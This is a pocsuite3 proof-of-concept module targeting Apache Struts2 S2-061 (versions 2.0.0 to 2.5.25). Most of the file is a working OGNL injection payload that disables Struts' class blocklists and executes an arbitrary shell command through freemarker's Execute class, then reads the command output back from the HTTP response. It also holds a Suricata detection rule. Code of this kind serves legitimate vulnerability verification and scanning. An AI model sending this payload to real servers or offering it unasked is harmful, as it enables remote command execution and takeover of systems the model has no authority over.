from collections import OrderedDict
from collections import OrderedDict
from urllib.parse import quote

from lxml import etree

from pocsuite3.api import Output, POCBase, logger, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.core.register import register_poc


class DemoPOC(POCBase):
    vulID = '99063'  # ssvid
    version = '3.0'
    author = ['']
    vulDate = '2020-12-09'
    createDate = '2020-12-09'
    updateDate = '2020-12-09'
    references = ['https://www.seebug.org/vuldb/ssvid-99063']
    name = 'Apache Struts2 s2-061'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.5.25'
    vulType = VUL_TYPE.CODE_EXECUTION
    suricata_request = '''http.uri; url_decode; content:"#"; content:".newInstance("; content:".exec(";'''
    suricata_response = ''''''
    desc = '''
    Apache Struts2 061 RCE
    '''
    samples = []
    install_requires = ['']
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="可执行的shell命令")
        return o

    def exploit(self):
        result = {}
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        cmd = self.get_option("command")
        payload = "%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'" + cmd + "'}).(#res=#exec.exec(#cmd))}"
        if cmd:
            payload = quote(payload)
            data = f"name={payload}&age=1"
            resp = requests.post(self.url.rstrip("/"), data=data, headers=headers)
            try:
                tree = etree.HTML(resp.text)
                # 使用 XPath 匹配值
                cmd_result = tree.xpath("//input[@name='name']/@id")[0]
            except:
                pass
            if resp.status_code == 200:
                result["VerifyInfo"] = {
                    "result": cmd_result.replace("\x00", "").encode(),
                }
        return result

    def _verify(self):
        result = {}
        try:
            result = self.exploit()
        except Exception as e:
            logger.error(str(e))
        return self.parse_output(result)

    def _attack(self):
        result = {}
        try:
            result = self.exploit()
        except Exception as e:
            logger.error(str(e))
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
